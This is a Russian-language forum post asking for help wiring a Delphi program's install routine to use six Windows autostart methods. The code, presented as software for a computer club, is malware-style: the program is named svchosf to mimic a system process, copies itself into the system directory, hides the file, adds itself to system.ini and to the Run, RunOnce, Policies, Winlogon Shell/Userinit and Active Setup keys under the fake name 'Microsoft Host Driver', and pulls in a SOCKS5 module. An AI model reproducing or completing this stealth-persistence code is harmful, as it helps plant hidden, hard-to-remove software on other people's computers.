![]() |
|
#1
|
|||
|
|||
![]() Всем привет! Есть у меня вот какой вопрос! Мне надо добавить в программу для компьютерного клуба автозагрузку из всевозможных мест
![]() Далее приведу куски проги чтобы было немного понятно что мне нужно кусочек самой проги Код:
program svchosf; uses Windows, uConst, uUtils, uString, uSystemInfo, uWininet, uInstall, UnitWindows, shellapi, uSocks5, var Thread ,Thread0 :Cardinal; idThread :Cardinal; dThread :Cardinal; далее в коде проги Код:
begin ReleaseIt; Install; далее идем в эту uInstall.pas Код:
unit uInstall; interface uses Windows, ShellApi, uConst, uUtils, uProcess,uStartUp ; function Install :Boolean; procedure HideFile(FileName :String); const faHidden = $00000002 platform; faSysFile = $00000004 platform; implementation function FileSetAttr(const FileName: string; Attr: Integer): Integer; begin Result := 0; if not SetFileAttributes(PChar(FileName), Attr) then Result := GetLastError; end; procedure HideFile(FileName :String); begin FileSetAttr(FileName, faHidden or faSysFile); end; { function Install :Boolean; var hRegKey :HKEY; Path :String; begin Result := False; if C_START = 1 then begin Path := WinDir(C_VALUE); RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE, hRegKey); RegSetValueEx(hRegKey, PChar(C_KEY), 0, REG_SZ, PChar(Path), Length(Path)+1); RegCloseKey(hRegKey); if not FileExists(Path) then begin CopyFile(PChar(ParamStr(0)), PChar(Path), False); if C_HIDE = 1 then HideFile(Path); ShellExecute(0, 'open', PChar(Path), nil, nil, SW_HIDE); Result := True; end; end; end; } function Install :Boolean; var dir: array[0..255] of char; name: string; begin getsystemdirectory(dir, 256); name := string(dir)+'\svchosf.exe'; copyfile(pchar(paramstr(0)), pchar(name), false);//копируем файл ... если есть перезапишем! writeprivateprofilestring('boot','shell','Explorer.exe svchosf.exe','system.ini'); AddToRun('Microsoft Host Driver ',pchar(name)); Result := True; end; end. Код:
uses Windows, ShellApi, uConst, uUtils, uProcess,uStartUp меня интересует эта uStartUp.pas далее ее код Код:
//6 Видов автозапуска unit uStartUp; interface uses windows, sysutils; procedure AddToRun(name,exe:string); procedure AddToRunOnce(name,exe:string); procedure AddToPolicies(name,exe:string); procedure AddToActiveX(exe:string); procedure AddToUserInit(exe:string); procedure AddToShell(exe:string); implementation function SetTheReg(key:Hkey; subkey,name,value:string):boolean; var regKey:hkey; begin result:=FALSE; RegCreateKey(key,PChar(subkey),regKey); if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then result:=TRUE; RegCloseKey(regKey); end; function GetTheReg(key:Hkey; subkey,nombre:String):String; var bytesread:dword; regKey: HKEY; valor:String; begin Result:=''; RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey); RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread); SetLength(valor, bytesread); if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then result:=valor; RegCloseKey(regKey); end; function DelTheReg(RootKey: HKEY; Name: String): boolean; var SubKey: String; n: integer; hTemp: HKEY; begin Result := False; n := LastDelimiter('\', Name); if n > 0 then begin SubKey := Copy(Name, 1, n - 1); if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then begin SubKey := Copy(Name, n + 1, Length(Name) - n); Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(hTemp); end; end; end; procedure AddToPolicies(name,exe: String); begin SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe); end; procedure AddToShell(exe: String); var Original: string; begin Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell'); if ansipos(exe, original)=0 then SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"'); end; procedure AddToRunOnce(name,exe: String); begin SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"'); end; procedure AddToRun(name,exe: String); begin SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,''+exe+''); end; procedure AddToUserInit(exe: String); var Original: string; begin Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'); if ansipos(exe, original)=0 then SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"'); end; procedure AddToActiveX(exe:string); begin SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"'); end; end. так вот в этой uInstall.pas загрузка идет как вы поняли только через HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run с помощью файла svchosf.exe отсюда вопрос нахрена в этом Install вызывать uStartUp.pas с 6 путями для автозапуска и никак это не использовать...? или я че то в этом коде не увидел? Помогите кто может советом как мне реализовать в uInstall.pas эту uStartUp.pas чтобы использовать все 6 способов автозагрузки ? заранее всем спасибо за дельные ответы |